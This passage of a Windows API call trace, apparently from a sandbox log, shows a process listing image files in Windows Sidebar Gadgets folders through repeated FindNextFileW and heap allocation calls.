ftCreationTime.dwLowDateTime=0x82cff384, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cff384, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2887fa65, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0080.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5270 [0080.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12429d0 [0080.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.544] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d254e1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d254e1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288a5bc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0080.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5290 [0080.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1242ad8 [0080.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.546] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d254e1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d254e1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288a5bc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0080.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.546] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d4b63e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d4b63e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288cbd21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d4b63e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d4b63e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288f1e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d4b63e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d4b63e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288f1e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7179b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d7179b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288f1e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7179b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d7179b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a2296f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7179b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d7179b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a2296f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a48acd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a48acd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28ae1045, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b071a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82dbda55, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82dbda55, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b2d301, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82de3bb2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82de3bb2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b2d301, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0080.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82de3bb2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82de3bb2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b5345f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0080.548] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e09d0f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e09d0f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b795bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0080.548] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e09d0f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e09d0f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b795bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0080.548] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e2fe6c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e2fe6c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b795bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0080.549] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e2fe6c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e2fe6c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b9f71b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0080.549] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e55fc9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e55fc9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b9f71b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0080.549] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b101cb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b101cb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28bc5879, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacer_highlights.png", cAlternateFileName="")) returned 1 [0080.549] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b36328, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b36328, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28bc5879, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="square.png", cAlternateFileName="")) returned 1 [0080.549] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b825e2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b825e2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28beb9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_dot.png", cAlternateFileName="")) returned 1 [0080.549] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b36328, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b36328, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28beb9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_h.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b5c485, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b5c485, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c37c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_m.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b5c485, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b5c485, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c37c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_s.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b825e2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b825e2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c37c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4d87, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_settings.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82ba873f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82ba873f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c5ddf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c1ab56, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c1ab56, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c5ddf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_dot.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82bce89c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82bce89c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c83f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_h.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82bf49f9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82bf49f9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c83f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_m.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82bf49f9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82bf49f9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c83f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_s.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c40cb3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c40cb3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28caa0ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5a3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_settings.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c66e10, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c66e10, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28caa0ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4c3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cd9227, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cd9227, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28cd020b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_dot.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c66e10, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c66e10, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28cd020b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_h.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c8cf6d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c8cf6d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28ddab9d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_m.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cb30ca, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cb30ca, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e00cfb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_s.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cff384, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cff384, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e00cfb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 1 [0080.550] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cff384, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cff384, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e00cfb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 0 [0080.550] GetLastError () returned 0x12 [0080.550] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.551] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: 